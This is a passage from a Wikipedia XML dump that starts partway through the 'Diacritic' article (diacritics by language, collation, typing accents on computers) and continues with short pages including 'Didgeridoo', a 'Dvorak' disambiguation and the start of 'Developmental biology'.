* [[Spanish language|Spanish]] uses acute, diaeresis and tilde. Acute is used on a vowel in a stressed syllable in words with irregular stress patterns. It can also be used to &quot;break&quot; a [[diphthong]] as in ''tío'' (pronounced /'tio/, and not /tjo/ as it would be without the accent). Moreover, the acute can be used to distinguish words that otherwise are spelt alike, such as ''mas'' ( = &quot;but&quot;} and ''más'' ( = &quot;more&quot;), and also to distinguish interrogative and relative words otherwise spelt alike, such as ''donde/¿dónde?'' ( = &quot;where&quot;) or ''como/¿cómo?'' ( = &quot;as&quot;/&quot;how?&quot;). Tilde is used on ''n'', forming [[Ñ|a separate letter (''ñ'')]] in the Spanish alphabet. Diaeresis is used only over u (ü) so that it is pronounced /w/ in the combinations ''gue'' and ''gui'' (where ''u'' is normally silent), for example ''ambigüedad''. In poetry, diaeresis may be used on ''i'' and ''u'' as a way to force [[Hiatus (linguistics)|hiatus]].
*[[Tagalog language|Tagalog]] uses a hyphen after a consonant to indicate a syllable break (''nag-alis'' /nag·a·lís/ as opposed to ''nagalis'' /na·ga·lís/). A hyphen is not necessary between two vowels, vowels being distinctly pronounced in Tagalog (''tauhan'' /ta·ú·han/, ''buo'' /bu·ô/).
*[[Tamil language|Tamil]] does not have any diacritics in itself, but uses the [[Arabic numerals|Western numerals]] 2, 3 and 4 as diacritics to represent aspirated, voiced, and voiced-aspirated consonants when the [[Tamil script]] is used to write to long passages in Sanskrit.
* [[Turkish language|Turkish]] uses a [[G-breve]] (''Ğ''), a diaeresis on two vowels (''[[Ö]]'' and ''[[Ü]]'') to represent rounding, a cedilla on two consonants (''[[Ç]]'' and ''[[S-cedilla|Ş]]'', to represent the affricates &lt;tt&gt;/tS/&lt;/tt&gt; and &lt;tt&gt;/S/&lt;/tt&gt;) and also possesses a dotted capital ''[[I-dot|İ]]'' (and a dotless lowercase ''ı''). Turkish considers each of these a separate letter, rather than a modification of existing characters, however; see [[Turkish alphabet]] for more details.

* [[Vietnamese language|Vietnamese]] uses acute (dấu sắc), grave (dấu huyền), tilde (dấu ngã), dot below (dấu nặng) and hook (dấu hỏi) on vowels as [[Tone (linguistics)|tone]] indicators. 

* [[Welsh language|Welsh]] uses the circumflex, diaeresis, acute and grave accents on its seven vowels ''a, e, i, o, u, w, y''. The most common is the circumflex (which it calls ''to bach'', meaning &quot;little roof&quot;) to denote a long vowel, usually to disambiguate it from a similar word with a short vowel. The rarer grave accent has the opposite effect, shortening vowel sounds which would usually be pronounced long. The acute accent and diaeresis are also occasionally used, to denote stress and vowel separation respectively. The w-circumflex and y-circumflex are among the most common accented characters in Welsh, but unusual in languages generally, and were until recently very hard to obtain in word-processed and HTML documents.

* Modern [[English language|English]] does not usually have diacritics, which appear only in foreign and loanwords. The letter '''è''' is an exception, used to modify the pronunciation of words ending in -ed within poetry and songs, though this is considered, by some, to be archaic. Occasionally, especially in older literature, and notably in [[The New Yorker]]'s [[house style]], the diaeresis is used (as in Dutch) to indicate a syllable break. For instance, in &quot;coördinate&quot; it indicates that the second &quot;o&quot; starts a new syllable.

== Non-diacritic usage ==

* [[Esperanto language|Esperanto]] has a separate letter which is a ''u'' with a [[breve]] over it, and letters which are ''c'', ''g'', ''h'', ''j'' and ''s'' with  the [[circumflex]] over them.  These are not diacritic marks, but necessary parts of entirely separate letters.

* [[Estonian language|Estonian]] has a distinct letter ''õ'' which contains a non-diacritical tilde. Estonian &quot;dotted vowels&quot; ''ä'', ''ö'', ''ü'' are similar to German, but these are also distinct letters, not containing umlauts. All these four letters have their own place in the alphabet (between ''w'' and ''x''). 

* [[Faroese language|Faroese]] and [[Icelandic (language)|Icelandic]] use acute accents, digraphs, and other special letters. All are considered separate letters, and have their own place in the alphabet:
** Faroese: ''á'', ''ð'', ''í'', ''ó'', ''ú'', ''ý'', ''æ'' and ''ø''
** Icelandic: ''á'', ''ð'', ''é'', ''í'', ''ó'', ''ú'', ''ý'', ''æ'', ''ö'' and ''þ''

* [[Finnish language|Finnish]] uses dotted vowels (''ä'' and ''ö'') similar to in Swedish, and ''å'', ''š'' and ''ž'' in foreign names and loanwords; they are considered distinct letters and collate after ''z''.  

* [[Hungarian language|Hungarian]] uses the acute and double acute accent (unique to Hungarian): ''áéíóú'' and ''őű''. The diacritic marks over the letters ''ö'' and ''ü'' are not [[umlaut]]s. The acute accent indicates the long form of a vowel, while the double acute performs the same function for ''ö'' and ''ü''. Both long and short forms of the vowels are listed separately in the [[Hungarian alphabet]].

* [[Maltese language|Maltese]] uses a C, G, and Z with a dot over them (Ċ, Ġ, Ż), and also has a H with an extra horizontal bar. For upper case H, the extra bar is written slightly above the usual bar. For lower case H, the extra bar is written crossing the vertical, like a ''t'', and not touching the lower part (Ħ, ħ). The above letters are considered separate letters, not dicritics. Maltese sometimes uses diacritics on some vowels to indicate stress or long vowels, especially in dictionaries.

* [[Romanian language|Romanian]] uses a breve on the letter ''a'' ('''ă''') to indicate the sound [[schwa]] (/ə/), as well as a circumflex over the letters ''a'' ('''â''') and ''i'' ('''î''') for the sound /{{unicode|&amp;#616;}}/. Romanian also writes a [[comma]] below the letters ''s'' ('''{{polytonic|&amp;#537;}}''') and ''t'' ('''{{polytonic|&amp;#539;}}''') to represent the sounds /{{unicode|&amp;#643;}}/ and /{{unicode|&amp;#678;}}/, respectively.

* Among the [[Scandinavian languages]], [[Danish language|Danish]] and [[Norwegian language|Norwegian]] have long used [[Æ|ash]] (''æ'', actually a ligature) and [[Ø|o-slash]] (''ø''), but have more recently incorporated a-ring (''å'') after Swedish example. Historically the ''å'' has developed from a ligature by writing a small a on top of the letter a; if an ''å'' character is unavailable, some Scandinavian languages allow the substitution of a doubled ''a''. The Scandinavian languages collate these letters after z, but have different [[collation]] standards. In [[Swedish language|Swedish]], the order  å, ä, ö is used, while [[Danish language|Danish]] and [[Norwegian language|Norwegian]] follow the order æ, ø, å instead.

* [[Swedish language|Swedish]] uses characters identical to a-diaeresis (''ä'') and o-diaeresis (''ö'') in the place of ash and o-slash in addition to the a-circle (''å''). Historically the diaresis for the Swedish letters ''ä'' and ''ö'', like the German umlaut, has developed from a small gothic ''e'' written on top of the letters.

* [[Vietnamese language|Vietnamese]] uses the [[horn (diacritic)|horn]] for the letters ơ and ư; [[circumflex]] for the letters â, ê, and ô; [[breve]] for the letter ă; and a bar through the letter đ.  See [[Vietnamese alphabet]] for their collation order.

In all these cases they are not seen as additional marks over the vowel, but are actually a necessary part of these characters, as they represent entirely different sounds to the basic forms.

* [[Cyrillic alphabet]]s
** [[Belarusian language|Belarusian]] has a letter ''[[U short |ў]]''.
** [[Russian language|Russian]] has the letter ''[[Yo (Cyrillic) |ё]]'', usually replaced in print by ''[[E (Cyrillic) |е]]'', although it has a different pronunciation. ''Ё'' is still used in children's books and in handwriting. A [[minimal pair]] is ''все'' (''vse'', &quot;all&quot; pl.) and ''всё'' (''vsio'', &quot;everything&quot; n. sg.). 
** Bulgarian, Russian and [[Ukrainian language|Ukrainian]] have the letter ''[[Short I |й]]''. 
** Ukrainian also has the letter ''[[Yi (Cyrillic) |ï]]''.  
** Acute accents are also used in [[Slavic language]] dictionaries and textbooks to indicate [[lexical stress]], placed over the vowel of the stressed syllable.  This can also serve to disambiguate meaning (e.g., in Russian ''писа&amp;#769;ть'' (''pisát'') means &quot;to write&quot;, but ''пи&amp;#769;сать'' (''písat'') means &quot;to piss&quot;).

==Non-alphabetic scripts==

Some non-alphabetic scripts also employ symbols that function essentially as diacritics.

* Non-pure [[abjad]]s (such as [[Hebrew language|Hebrew]] and [[Arabic language|Arabic]] script) and [[abugida]]s use diacritics for denoting [[vowel]]s. Hebrew and Arabic also indicate consonant doubling and change with diacritics; Hebrew and [[Devanagari]] use them for foreign sounds. Devanagari and related abugidas also use a diacritical mark called a ''virama'' to mark the absence of a vowel.

* The Japanese [[hiragana]] and [[katakana]] [[syllabary|syllabaries]] use the ''[[dakuten]]'' (゛) and ''[[handakuten]]'' (゜) symbols, also known as ''ten-ten'' and ''maru'', to indicate [[voiced consonant]]s.

== Alphabetization or collation ==

Different languages use different rules to put diacritic characters in [[alphabet]]ical order. French treats letters with diacritical marks the same as the underlying letter for purposes of ordering and dictionaries. The same is true in German, and in cases where two words differ only by an umlaut, the word without it is sorted first in German dictionaries (''eg'' &quot;schon&quot; and then &quot;schön&quot;, or &quot;fallen&quot; and then &quot;fällen&quot;). However, when names are concerned (''eg'' in phone books or in author catalogues in libraries), umlauts are often treated as combinations of the vowel with a suffixed 'e'; Austrian phone books now treat umlauts as separate letters (immediately following the underlying letter). 

The Scandinavian languages, by contrast, treat the diacritic characters ''ä'', ''ö'' and ''å'' as new and separate letters of the alphabet, and sort them after ''z''. Usually ''ä'' is sorted as equal to ''æ'' (ash) and ''ö'' is sorted as equal to ''ø'' (o-slash). Other diacritically marked letters are treated as variants of the underlying letter.

Other languages treat diacritically marked letters as variants of the underlying letter, but alphabetize them following the unmarked letter. In Spanish ''ñ'' is considered a new letter different from ''n'' and placed between ''n'' and ''o'', however, acute accents and diaeresis are ignored. 

The technical term for alphabetization is [[collation]].

''See also:'' [[Alphabet]], [[Latin alphabet]]

==Generation with computers==

Modern computer technology was developed mostly in the English speaking countries, so data formats, keyboard layouts, etc. were developed with an English bias; a &quot;simple&quot; alphabet without diacritical marks.   This has led to fears internationally that the marks and accents may become obsolete to facilitate the worldwide exchange of data.   Efforts have been made to create [[domain names]] that extend further than the English alphabet: the [[Internationalized domain names]], example: &quot;pokémon.com&quot;.

Depending on the [[keyboard layout]], which differs amongst countries, it is more or less easy to enter letters with diacritics on computers and typewriters. Some have their own keys, some are created by first pressing the key with the diacritic mark followed by the letter to place it on. Such a key is sometimes referred to as a [[dead key]], as it produces no output of its own, but modifies the output of the key pressed after it.

On computers with the [[Microsoft Windows]] operating system, one can also enter each character of the current [[codepage]], e.g. [[ISO 8859-1|windows-1252]], by holding the Alt key and entering the respective decimal position on the Num pad, e.g. Alt+0210 is Ò. Additionally, on Windows XP, it is possible to enter any [[Unicode]] character from the Basic Multilingual Plane (i.e. up to U+FFFF) by pressing Alt and then, with Alt still pressed, the plus sign and the digits of the Unicode number each after the other. Alt with plus, D and 2 yields U+00D2: Ò.

In modern Microsoft Windows operating systems, the keyboard layout ''US International'' allows one to type almost all diacritics directly: &quot;+e gives ë, ~+o gives õ etc.. In addition to this, the layout provides many 'special characters' behind the AltGr modifier: AltGr+t is þ, AltGr+z is æ, etc..

Using the [http://www.microsoft.com/downloads/details.aspx?FamilyId=FB7B3DCD-D4C1-4943-9C74-D8DF57EF19D7&amp;displaylang=en Microsoft Keyboard Layout Creator (MSKLC)] people using Windows 2000, Windows XP or Windows Server 2003 can edit or create any keyboard layout.

On [[Apple Macintosh]] computers, there are keyboard shortcuts for the most common diacritics:

* Option-e followed by a vowel: places an acute accent.
* Option-u followed by a vowel: places a diaeresis.
* Option-n followed by a vowel or n: places a tilde.
* Option-` followed by a vowel: places a grave accent.
* Option-i followed by a vowel: places a circumflex.
* Option-c: places a c cedilla

On computers it is also a matter of available [[codepage]]s, whether you can use certain diacritics. [[Unicode]] tries to solve this problem, among others.

In [[GNOME]] applications (found on many [[Linux]] and [[Unix|UNIX]] computers) arbitrary [[Unicode]] characters may be entered by holding down the ctrl and shift keys while typing the [[hexadecimal]] codepoint.  After releasing ctrl-shift the digits will be converted into the symbol.  For example ctrl-shift 	1E3 produces {{unicode|&amp;#x1E3;}}.

Diacritics can be [[Compose|composed]] in most [[X Window System|X Window Systems]].

With Unicode it is also possible to [[Combining diacritical mark|combine diacritical marks]] with most characters.

== See also ==

* [[Heavy metal umlaut]]
* [[List of English words with diacritics]]
* [[List of U.S. cities with diacritics]]
* [[ß]]
* [[ĸ]]
* [[ſ]]
* [[ǰ]]
* [[]]
* [[]]
* [[⁷]]

== External links ==

* [http://www.unicode.org Unicode]
* [http://www.phon.ucl.ac.uk/home/wells/dia/diacritics-revised.htm Orthographic diacritics and multilingual computing, by J.C. Wells]
* [http://diacritics.typo.cz Diacritics Project - All you need to design a font with correct accents]
* [http://www.tuxmagazine.com/node/1000044 Entering International Characters (in Linux, KDE)]
* [http://www.adobe.com/type/pdfs/characcessmac.pdf Standard Character Set for Macintosh] PDF at Adobe.com
* [http://www.starr.net/is/type/kbh.html Keyboard Help - Learn how to create world language accent marks and other diacriticals on a computer]

[[Category:Diacritics]]

[[als:Diakritisches Zeichen]]
[[zh-min-nan:Phiat-im hû-hō]]
[[ca:Signe diacrític]]
[[cs:Diakritické znaménko]]
[[da:Accenttegn]]
[[de:Diakritisches Zeichen]]
[[es:Signo diacrítico]]
[[eo:Diakrita signo]]
[[fr:Diacritique]]
[[it:Segno diacritico]]
[[lt:Diakritiniai ženklai]]
[[nl:Diakritisch teken]]
[[ja:ダイアクリティカルマーク]]
[[no:Diakritisk tegn]]
[[nn:Aksentteikn]]
[[pl:Znaki diakrytyczne]]
[[pt:Diacrítico]]
[[ro:Semn diacritic]]
[[ru:Диакритический знак]]
[[sv:Diakritiskt tecken]]
[[wa:Diyacritike]]
[[zh:变音符号]]</text>
    </revision>
  </page>
  <page>
    <title>Diaresis</title>
    <id>8440</id>
    <revision>
      <id>15906440</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Diaeresis]]
</text>
    </revision>
  </page>
  <page>
    <title>Digraph</title>
    <id>8442</id>
    <revision>
      <id>23864746</id>
      <timestamp>2005-09-23T21:43:53Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Adding: es</comment>
      <text xml:space="preserve">'''Digraph''' has several meanings:

*[[Directed graph]], or ''digraph''
*[[Digraph (orthography)]]
*[[Digraph (computing)]]

{{disambig}}

[[es:Dígrafo]]</text>
    </revision>
  </page>
  <page>
    <title>Didgeridoo</title>
    <id>8443</id>
    <revision>
      <id>41759470</id>
      <timestamp>2006-03-01T15:18:57Z</timestamp>
      <contributor>
        <ip>86.138.208.113</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Didgeridoo Entier1.jpg|frame|A didgeridoo. This particular instrument is more ornate than most.]]The '''didgeridoo''' (or '''didjeridu''') is a unique wind [[musical instrument|instrument]] of the [[Indigenous Australians]] of northern [[Australia]]. It is sometimes described as a natural wooden [[trumpet]] or &quot;drone pipe&quot;. Musicologists classify it as an [[aerophone]].

A didgeridoo is usually cylindrical or conical in shape and can measure anywhere from 1 to 2 [[metre]]s, with most instruments measuring around 1.5 meters. Instruments shorter or longer than this are less common. Generally, the longer the instrument, the lower the pitch or key of the instrument. Keys from D to F♯ are the preferred pitch of traditional Aboriginal players.

There are no reliable sources stating the didgeridoo's exact age, though it is commonly claimed to be the world's oldest wind instrument. Archaeological studies of rock art in northern Australia suggests that the Aboriginal people of the [[Kakadu]] region of the [[Northern Territory]] have been using the didgeridoo for about 1500 years, based on the dating of paintings on cave walls and shelters from this period.

== The name ==
&quot;Didgeridoo&quot; is usually considered to be an [[onomatopoeia|onomatopoetic]] word of Western invention, but it has been suggested that it may be derived from the [[Irish language|Irish]] words ''dúdaire'' or ''dúidire'', meaning variously 'trumpeter; constant smoker, puffer; long-necked person, eavesdropper; hummer, crooner' and  ''dubh'', meaning 'black' (or ''duth'', meaning 'native').[http://www.flinders.edu.au/news/articles/?fj09v13s02]  The earliest occurrences of the word in print include the ''Australian National Dictionary'' [[1919]], ''[[The Bulletin]]'' in [[1924]] and the writings of [[Herbert Basedow]] in [[1926]]. There are numerous names for this instrument among the Aboriginal people of northern Australia, with &quot;yirdaki&quot; one of the better known words in modern Western society. &quot;Yirdaki&quot;, also sometimes spelt &quot;yidaki&quot;, refers to the specific type of instrument made and used by the [[Yolngu]] people of north-east [[Arnhem Land]]. This name is not a substitute for &quot;didgeridoo&quot;. In Western Arnhem Land, one is more likely to hear of &quot;mago&quot;, and again, this is a specific term not to be used loosely. There is a general consensus that it is a matter of etiquette to reserve tribal names for tribal instruments, though retailers and businesses have been quick to exploit these special names for generic tourist-oriented instruments.

== Construction and play ==
Authentic Aboriginal didgeridoos produced in traditionally-oriented communities in northern Australia are typically made from [[hardwood]]s, especially the various [[eucalyptus]] species that are [[endemic (ecology)|endemic]] to the region. The main trunk of the tree is often harvested, though branches are sometimes used as well. Aboriginal craftsmen spend considerable time searching for a suitable tree to make into a didgeridoo. The difficult part is in finding a tree that has been suitably hollowed out by [[termite]]s. If the hollow is too big or too small, it will make a poor quality instrument.

A termite-bored didgeridoo has a resulting internal surface that creates non-harmonic resonant frequencies. (Unlike the regular [[harmonics]] produced by a bored or plastic pipe.)  The first [[overtone]] is usually around an 11th higher than the fundamental frequency.  This quality gives a distinct [[timbre]]: the classical didgeridoo sound.

[[Image:Didgeridoo Embout1.jpg|frame|The wax mouthpiece often softens during play, forming a more perfect seal.]]When a suitable tree is found and cut down, a length of the main trunk or a segment of a branch is removed that will become the didgeridoo. The bark is taken off, the ends trimmed, and some shaping of the exterior then results in a finished instrument. This instrument may be painted or left undecorated. A rim of [[beeswax]] may be applied to the [[mouthpiece]] end.

The didgeridoo is played with continuously vibrating lips to produce the drone while using a special breathing technique called [[circular breathing]]. This requires breathing in through the nose whilst simultaneously expelling air out of the mouth using the tongue and cheeks. By use of this technique, a skilled player can replenish the air in his lungs, and with practice can sustain a note for as long as desired. Recordings exist of modern didgeridoo players playing continuously for more than forty minutes, and some currently unsubstantiated claims peg times over one hour.

== Cultural significance ==
The didgeridoo is sometimes played as a solo instrument for recreational purposes, though more usually it accompanies dancing and singing in ceremonial rituals. For Aboriginal groups of northern Australia, the didgeridoo is an integral part of ceremonial life, as it accompanies singers and dancers in religious rituals. Pair sticks, sometimes called [[clapstick]]s, establish the beat for the songs during ceremonies. The rhythm of the didgeridoo and the beat of the [[clapstick]]s are precise, and these patterns have been handed down for generations upon generations. Only men play the didgeridoo and sing during ceremonial occasions, whilst both men and women may dance.  The taboo against women playing the instrument is not absolute; female Aboriginal didgeridoo players did exist, although their playing generally took place in an informal context. [http://aboriginalart.com.au/didgeridoo/myths.html]

== The modern didgeridoo industry ==
Most didgeridoos found in shops are not authentic instruments. They are usually mass produced in factories or mass harvested in Australian forests, often by non-Aboriginal entrepreneurs but also sometimes by Aboriginal people. There are also didgeridoos that are made from plastic, leather, glass, [[agave]], [[yucca]] and other materials. For a cheap and simple didgeridoo, a length of [[polyvinyl chloride|PVC]] pipe makes an ideal beginner's instrument. The musician who wishes learn or play on a real instrument should be careful of retailers who make claims of authenticity; more likely than not, these retail instruments are imitations.

It is hard to define what an authentic didgeridoo is. One definition would be that an original aboriginal didgeridoo is made from termite hollowed eucalyptus stems, harvested by the aboriginal didgeridoo maker and decorated by himself or another Aborigine artist, following the tribal traditions.

Read more about the [http://www.ab-original.com.au/Info_pages/Original_aboriginal_didgeridoos.html original aboriginal didgeridoo], how to recognise termite hollowed [http://www.ab-original.com.au/Info_pages/Didgeridoo_from_Australia.html eucalyptus didgeridoos] and some [http://www.ab-original.com.au/Info_pages/Australian_didgeridoos.html urban myths] about it.

==Modern versions==
In the 20th century, several &quot;modernised&quot; versions of the didgeridoo have been developed.  The [[didjeribone]] [http://www.didjeribone.net/design.html] (also called &quot;slideridoo&quot; or &quot;slidgeridoo&quot;), a sliding didgeridoo made of plastic, was invented in second half of the 20th century by Australian didgeridoo player [[Charlie McMahon]].  It is constructed of two lengths of plastic tube, one of which is slightly narrower in diameter than the other, and which slides inside the wider tube in the manner of a [[trombone]] (hence the instrument's name).  This allows players to achieve fundamental tones within the compass of a major sixth, ranging from low B♭ to high G.

A [http://www.drdidg.com/Photos/photos.html keyed didgeridoo] (having keys somewhat like those of a saxophone, allowing the performer to play melodically) was developed in the late 20th century by the U.S. didgeridoo player [[Graham Wiggins]] (stage name Dr. Didg) and used on his CDs ''[http://www.amazon.com/exec/obidos/tg/detail/-/B00000062M Out of the Woods]'' (1995) (in the track &quot;Sun Tan&quot;) and ''[http://www.drdidg.com/Discography/Dust_Devils/dust_devils.html Dust Devils]'' (2002) (in the tracks &quot;T'Boli&quot; and &quot;Sub-Aqua&quot;).  Wiggins built the unique and somewhat unwieldy instrument at the physics workshop of [[Oxford University]], from which he earlier obtained his Ph.D.

In the mid to late 1990s, Marko Johnson (a didgeridoo player and teacher from Salt Lake City, Utah) developed the [http://www.didjbox.com didjbox], a compact instrument that functions along the same principles as a traditional didgeridoo. The didjbox emulates the length of a traditional instrument with a series of baffles that create a &quot;tortuous path&quot; of air. Most of these didjboxes measure between 18 and 24 inches in length. Johnson holds U.S. Patent #6664454 for his creation.

==Interesting facts==
The spelling &quot;Didjeridoo&quot; was created in 1993 as a name for a by-now-legendary club in [[Luxembourg]]. Its owner had just read [[Bruce Chatwin]]'s ''The Songlines'', the club had been painted in earthen colours, and it was a place for music, so the instrument's name seemed most appropriate. However, neither &quot;Didgeridoo&quot; nor &quot;Didjeridu&quot; appeared to be correct for the club. A blend of both into &quot;Didjeridoo&quot; seemed just perfect. Before 1993, one never encountered this spelling, but it has since gained acceptance.

A 2005 study, published in the [[British Medical Journal]], found that learning and practicing the didgeridoo helped reduce [[snoring]] and [[sleep apnea]], as well as daytime sleepiness [http://bmj.bmjjournals.com/cgi/content/abstract/bmj.38705.470590.55v1]. This appears to work by strengthening muscles in the upper airway, thus reducing their tendency to collapse during sleep.

The didjeridoo has also inspired the names of some bands from around the world including one from Portland, Oregon named [[DIJ]].

==Famous didgeridoo players==
*[[Mark Atkins]]
*[[David Blanasi]]
*[[Alan Dargin]]
*[[Rolf Harris]]
*[[David Hudson]]
*[[Djalu Gurruwiwi]]
*[[David Greenawald]]
*[[Stephen Kent]]
*[[Charlie McMahon]]
*[[Adam Plack]]
*[[Graham Wiggins]]
*[[Gapanbulu Yunupingu]]
*[[Makuma Yunupingu]]
*[[Yomunu Yunupingu]]
*[[Xavier Rudd]]
*William Barton [http://www.didgesphere.com/]

==See also==
* [[List of Australian Aboriginal musicians]]
* [[Music of Australia]]
* [[Circular breathing]]
==External links==
* [http://www.dreamtime-didjeriduw3server.com/ Dreamtime, the site of the World Famous Didjeridu Mailing List]
* [http://www.ididj.com.au iDIDJ Australia: Australian Didgeridoo Cultural Hub]
* [http://www.phys.unsw.edu.au/~jw/dij/dij.html The physics of the didj]
* [http://www.benjaminhammond.com/didge/ Physics of Dreamtime - Website on the physics of the didge with sound and graphics]
* [http://www.djalu.com/ Rripangu Yirdaki (website of Djalu Gurruwiwi, renowned yirdaki craftsman)]
* [http://www.flinders.edu.au/news/articles/?fj09v13s02 It's as Irish as - er - didgeridoo]
* [http://www.hauart.de/flash/yedakiwork1.html Didge Circular Breathing - Flashmovie]
* [http://www.didge.nl Didge Circular Breathing]
* [http://www.EdDrury.com Extensive articles Tutorials and Interviews]
* [http://www.maningrida.com Maningrida Community Art Centre]
* [http://www.yirrkala.com/yidaki Yirrkala Community Art Centre]
* [http://www.nambara.com.au Nambara Community Art Centre (Nhulunbuy)]
* [http://www.bulabula-arts.com Ramingining Community Arts Centre]
* [http://www.yidaki.com/whatsound.html What does a didgeridoo sound like?]
*[http://www.didgethings.co.uk/ didgethings]

[[Category:Wind instruments proper]]
[[Category:Australian Aboriginal music]]

[[cs:Didgeridoo]]
[[de:Didgeridoo]]
[[es:Didgeridoo]]
[[eo:Diĝeriduo]]
[[fr:Didgeridoo]]
[[it:Didgeridoo]]
[[he:דידג'רידו]]
[[lb:Didgeridoo]]
[[nl:Didgeridoo]]
[[ja:ディジュリドゥ]]
[[no:Didgeridoo]]
[[pl:Didgeridoo]]
[[pt:Didjeridu]]
[[ru:Диджериду]]
[[sl:Didžeridu]]
[[fi:Didgeridoo]]
[[sv:Didgeridoo]]</text>
    </revision>
  </page>
  <page>
    <title>Dvorak</title>
    <id>8447</id>
    <revision>
      <id>41951599</id>
      <timestamp>2006-03-02T21:11:01Z</timestamp>
      <contributor>
        <username>Pavel Vozenilek</username>
        <id>87110</id>
      </contributor>
      <comment>details on origin of the name, rm ambiguous category</comment>
      <text xml:space="preserve">'''Dvořák''' is common [[Czechs|Czech]] surname (feminine form is '''Dvořáková'''). Spelling vithout diacritics is '''Dvorak'''.

It can refer to:

* [[Antonín Dvořák]], Czech composer
* [[Dvorak Simplified Keyboard]], an alternative to the QWERTY keyboard layout, Named after August Dvorak
* [[August Dvorak]], co-creator of the Dvorak Simplified Keyboard
* [[John C. Dvorak]], computer industry columnist
* [[Dvorak (game)]], a customizable card game
* [[Dvorak encoding]], a special kind of cryptography
* [[Ann Dvorak]], American actress
* [[Bill Dvorak]], whitewater rafter
* [[Max Dvořák]], Czech-born Austrian art historian
* [[Radek Dvořák]], Czech NHL ice hockey player

Other spellings:
* [[Thomas Dworzak]], a member of Photo Magnum

[[Category:Surnames]]
{{disambig}}

[[af:Dvorak]]
[[de:Dvorak]]
[[es:Dvorak]]
[[eo:Dvorak]]
[[nl:Dvorak]]
[[pl:Dvorak]]
[[pt:Dvorak]]</text>
    </revision>
  </page>
  <page>
    <title>Dana Falkenberg</title>
    <id>8448</id>
    <revision>
      <id>15906445</id>
      <timestamp>2004-06-05T11:57:07Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[sep11:Dana Falkenberg]]</text>
    </revision>
  </page>
  <page>
    <title>Developmental biology</title>
    <id>8449</id>
    <revision>
      <id>38108080</id>
      <timestamp>2006-02-04T05:51:42Z</timestamp>
      <contributor>
        <username>Egfr</username>
        <id>881507</id>
      </contributor>
      <minor />
      <comment>/* Sources */</comment>
      <text xml:space="preserve">'''Developmental biology''' is the study of the process by which organisms grow and develop.  Modern developmental biology studies the genetic control of [[cell growth]], [[cellular differentiation|differentiation]] and &quot;[[morphogenesis]],&quot; which is the process that gives rise to [[biological tissue|tissue]]s, [[organ (anatomy)|organ]]s and [[anatomy]].
[[Embryology]] is a subfield, the study of organisms between the one-cell stage (generally, the [[zygote]]) and the end of the embryonic stage, which is ''not'' necessarily the beginning of free living. Embryology was originally a more descriptive science until the [[20th century]].  Embryology and developmental biology today deal with the various steps necessary for the correct and complete formation of the [[body]] of a living organism.

The related field of [[evolutionary developmental biology]] was formed largely in the [[1990s]] and is a [[synthesis]] of findings from molecular developmental biology and [[evolutionary biology]] which considers the diversity of organismal form in an evolutionary context.

The findings of developmental biology can help to understand developmental malfunctions such as [[chromosomal aberration]]s, for example, [[Down syndrome]]. An understanding of the specialization of [[Cell (biology)|cells]] during embryogenesis may shield information on how to specialize [[stem cell]]s to specific tissues and organs, which could lead to the specific [[cloning]] of organs for medical purposes. Another biologically important process that occurs during development is [[apoptosis]] - cell &quot;suicide&quot;. For this reason, many developmental models are used to elucidate the [[physiology]] and molecular basis of this cellular process.

==Molecular mechanisms of development==
During the second half of the 20th century the types of molecules involved in embryonic development were identified. [[Transcription factor]]s are the key regulators of which [[gene]]s are expressed in cells. Transcriptional control in the various differentiated cell types allows each [[Cell_type|type of cell]] (epithelial, muscle, neuron, etc) to express different amounts of the possible proteins. The transcription factors are regulated by [[signal transduction]] pathways that relay signals from outside of cells to the cell nucleus. Signal transduction pathways often involve [[receptor]]s, receptor [[ligand#Biochemical ligands|ligands]] and enzymes such as [[protein kinase]]s. One key class of genes that are differentially regulated by transcription factors in different cell types are genes for [[cell adhesion]] proteins. Cell adhesion proteins are among the key regulators of [[morphogenesis]].

:''Concepts in developmental biology''
:[[allantois]], [[amnion]], [[blastocyst]], [[blastomere]], [[blastula]], [[blastulation]], [[chorion]], [[chrysalis]], [[cleavage (embryo)|cleavage]], [[embryo]], [[embryogenesis]], [[embryogeny]], [[embryology]], [[extra-embryonic membrane]], [[fetus ]](or [[fetus|foetus]]), [[gastrula]], [[gastrulation]], [[germ layer]], [[germ plasm]], [[germination]], [[induction (biology)|induction]], [[juvenile]], [[larva]], [[maternal effect]], [[metamorphosis (biology)|metamorphosis]], [[genome]], [[morphogenesis]], [[morula]], [[neoteny]], [[neural development]], [[nymph (biology)|nymph]], [[ontogeny]], [[oosperm]], [[ovism]], [[paedogenesis]], [[pangenesis]], [[phylogeny]], [[primordium]], [[pupa]], [[rudiment]], [[seed]], [[teratology]], [[zygote]]

==Developmental model organisms==

Often used [[model organism]]s in developmental biology include the following:

* Chordates
**[[Lancelet]] ''Branchiostoma lanceolatum''
** Zebrafish ''[[Danio rerio]]''
** Medakafish ''[[Oryzias latipes]]''
** Fugu ''[[Takifugu rubripes]]''
** [[Frog]]s  ''[[Xenopus laevis]]''
** Chicken ''[[Gallus gallus]]''
** Mouse ''[[Mus musculus]]'' ([[Mammalian embryogenesis]])
* Invertebrates
** [[Sea urchin]]
** Round worm ''[[Caenorhabditis elegans]]''
** Fruit fly ''[[Drosophila melanogaster]]'' ([[Drosophila embryogenesis]])
* Plants ([[Plant embryogenesis]])
** ''[[Arabidopsis thaliana]]''
** [[Maize]]
** [[Snapdragon]]

==Developmental systems biology==
Computer simulation of multicellular development is a research methodology to understand the function of the very complex processes involved in the development of organisms.  This includes simulation of cell signaling, multicell interactions and regulatory genomic networks in development of multicellular structures and processes.  ''Minimal genomes'' for minimal multicellular organisms may pave the way to understand such complex processes ''in vivo'' (see [[Genomes#Minimal genomes]]).

==See also==
* [[List_of_publications_in_biology#Developmental biology|Important publications in developmental biology]]
* [[morphogenesis]], [[embryogenesis]]
* [[auxology]]

==Sources==
* [http://www.ncbi.nlm.nih.gov:80/books/bv.fcgi?call=bv.View..ShowTOC&amp;rid=dbio.TOC&amp;depth=2 Developmental Biology] by Scott Gilbert. (online textbook)
*[http://www.sdbonline.org/Other/VL_DB.html Virtual Library - Developmental Biology]
*[http://www.bionews.in/index.php/archives/category/developmental-biology/ Latest Developmental Biology News]


